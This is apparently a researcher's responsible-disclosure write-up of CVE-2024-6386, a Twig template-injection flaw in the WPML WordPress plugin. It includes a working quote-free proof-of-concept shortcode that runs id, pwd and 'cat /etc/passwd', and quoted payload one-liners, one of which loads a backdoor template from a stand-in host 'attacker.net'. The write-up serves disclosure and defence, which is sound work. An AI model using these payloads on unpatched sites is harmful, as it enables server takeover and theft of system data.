WPML Multilingual CMS Authenticated Contributor+ Remote Code Execution (RCE) via Twig Server-Side Template Injection (SSTI)
tldr;
Server-Side Template Injection (SSTI) is one of my favorite vulnerabilities, but rarely do I see it outside of CTF competitions…
The WPML Multilingual CMS Plugin for WordPress used by over 1 million sites is susceptible to an Authenticated (Contributor+) Remote Code Execution (RCE) vulnerability through a Twig server-side template injection.
Affected Versions: <= 4.6.12
CVSS Score: 9.9
CVE-ID: CVE-2024-6386
Links: Mitre, NVD
Active installations: 1,000,000+
Bounty: $1,639 (Wordfence)
About WPML Multilingual CMS
WPML is a popular plugin for creating multilingual WordPress sites. It offers a robust set of features for managing translations and language switching, making it a top choice for many WordPress users who need multilingual capabilities. WPML is a premium plugin charging between €39 and €199 per year.
Vulnerability
The vulnerability lies in the handling of shortcodes within the WPML plugin. Specifically, the plugin uses Twig templates for rendering content in shortcodes but fails to properly sanitize input, leading to server-side template injection (SSTI).
In the code, the callback
function in class-wpml-ls-shortcodes.php
processes shortcode content:
add_shortcode( 'wpml_language_switcher', array( $this, 'callback' ) );
// Backward compatibility
add_shortcode( 'wpml_language_selector_widget', array( $this, 'callback' ) );
add_shortcode( 'wpml_language_selector_footer', array( $this, 'callback' ) );
Where the callback
function is:
public function callback( $args, $content = null, $tag = '' ) {
$args = (array) $args;
$args = $this->parse_legacy_shortcodes( $args, $tag );
$args = $this->convert_shortcode_args_aliases( $args );
return $this->render( $args, $content );
}
This calls the render
function in class-wpml-ls-public-api.php
, passing the shortcode content as the twig_template
variable:
protected function render( $args, $twig_template = null ) {
$defaults_slot_args = $this->get_default_slot_args( $args );
$slot_args = array_merge( $defaults_slot_args, $args );
$slot = $this->get_slot_factory()->get_slot( $slot_args );
$slot->set( 'show', 1 );
$slot->set( 'template_string', $twig_template );
if ( $slot->is_post_translations() ) {
$output = $this->render->post_translations_label( $slot );
} else {
$output = $this->render->render( $slot );
}
return $output;
}
And this variable is then rendered as a twig template string.
Payload Construction
The shortcode below will demonstrate that it’s contents will be rendered as a twig template:
[wpml_language_switcher]
{{ 4 * 7 }}
[/wpml_language_switcher]
When saved we will see the output of 28
on the page.
But there’s a slight complication here that must be overcome to exploit further. This is the fact that WordPress will HTML encode any single or double quotes. This means we cannot execute any of the classic Twig template injection to remote code execution combos, such as those below (taken from PayloadAllTheThings):
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}
{{[0]|reduce('system','id')}}
{{['id']|map('system')|join}}
{{['id',1]|sort('system')|join}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id']|filter('passthru')}}
{{['id']|map('passthru')}}
However, we can start by exploring what we do have access to, for example:
[wpml_language_switcher]
{{ dump() }}
[/wpml_language_switcher]
This will output something like the following (but not as pretty):
array(4) {
["languages"]=> array(1) {
["en"]=> array(8) {
["code"]=> string(2) "en"
["url"]=> string(34) "http://wordpress.local:1337/?p=126"
["native_name"]=> string(7) "English"
["display_name"]=> string(7) "English"
["is_current"]=> bool(true)
["css_classes"]=> string(121) "wpml-ls-slot-shortcode_actions wpml-ls-item wpml-ls-item-en wpml-ls-current-language wpml-ls-first-item wpml-ls-last-item"
["flag_width"]=> int(18)
["flag_height"]=> int(12)
}
}
["current_language_code"]=> string(2) "en"
["css_classes"]=> string(41) "wpml-ls-statics-shortcode_actions wpml-ls"
["css_classes_link"]=> string(12) "wpml-ls-link"
}
This output provides enough letters that we can start using it to create customer strings. For example, we can create s
by:
{% set s = dump(current_language_code)|slice(0,1) %}
This works by grabbing the first letter from the output of dump
on the variable current_language_code
, this will always be s as it is a string and dump always prints string(n)
before the contents of the string.
This can be repeated until we have the chars to spell out system which will allow us to execute arbitrary commands. Here use the ~ operator to join the chars together into a string. For example, once we have the letters defined, the basic id command can be executed as follows:
{% set system = s~y~s~t~e~m %}
{% set id = i~d %}
{{[id]|map(system)|join}}
Once we have the ability to execute shell commands we can even use the output from the shell to give us access to further letter we may find difficult to obtain via templating. This can be seen in the snippet below, where a slash /
is obtained from the output of the pwd
shell command:
{% set slash = [pwd]|map(system)|join|slice(0,1) %}
This works because pwd
(print working directory) will always start with a /
in Linux, e.g. /home/username/
[wpml_language_switcher]abcde...
and then obtaining them by using self
and slicing the string to get each char.Proof of Concept
Now that we’ve demonstrated the basics, lets jump in and look at the final proof-of-concept created to exploit this vulnerability:
[wpml_language_switcher]
{# Find letters we need as we cant use any quotes #}
{% set s = dump(current_language_code)|slice(0,1) %}
{% set t = dump(current_language_code)|slice(1,1) %}
{% set r = dump(current_language_code)|slice(2,1) %}
{% set i = dump(current_language_code)|slice(3,1) %}
{% set n = dump(current_language_code)|slice(4,1) %}
{% set g = dump(current_language_code)|slice(5,1) %}
{% set a = dump()|slice(0,1) %}
{% set y = dump()|slice(4,1) %}
{% set e = dump(css_classes)|slice(36,1) %}
{% set w = dump(css_classes)|slice(12,1) %}
{% set p = dump(css_classes)|slice(13,1) %}
{% set m = dump(css_classes)|slice(14,1) %}
{% set d = dump(css_classes)|slice(35,1) %}
{% set c = dump(css_classes)|slice(25,1) %}
{% set space = dump(css_classes)|slice(45,1) %}
{% set system = s~y~s~t~e~m %}
{% set id = i~d %}
{% set pwd = p~w~d %}
We can use the output from `dump` or any other similar function to grab any letters we need to create our strings.
Once we have code basic code execution we can use that to grab any letters we may not be able to easily grab via template injection.
{% set slash = [pwd]|map(system)|join|slice(0,1) %}
{% set passwd = c~a~t~space~slash~e~t~c~slash~p~a~s~s~w~d %}
Debug: {{dump()}}
Command: {{system}} {{id}} {{pwd}}
id: {{[id]|map(system)|join}}
pwd: {{[pwd]|map(system)|join}}
passwd: {{[passwd]|map(system)|join}}
[/wpml_language_switcher]
Exploitation
By using the above payload, a Contributor+ user can gain command execution on the server. The crafted payload uses the dump function to gather letters needed to construct commands without using quotes. Once we have basic command execution, we can further leverage it to gain more control over the server.
Timeline
- 19/06/24 (0 day) - Discovery and disclosure to Wordfence
- 27/06/24 (+8 day) - Wordfence validated and assigned CVE
- 27/06/24 (+8 days) - $1,639 bounty assigned by Wordfence
- 20/08/24 (+62 days) - Patch released in version 4.6.13
- 21/08/24 (+63 days) - Vulnerability publicly disclosed
Conclusion
This vulnerability is a classic example of the dangers of improper input sanitization in templating engines. Developers should always sanitize and validate user inputs, especially when dealing with dynamic content rendering. This case serves as a reminder that security is a continuous process, requiring vigilance at every stage of development and data processing.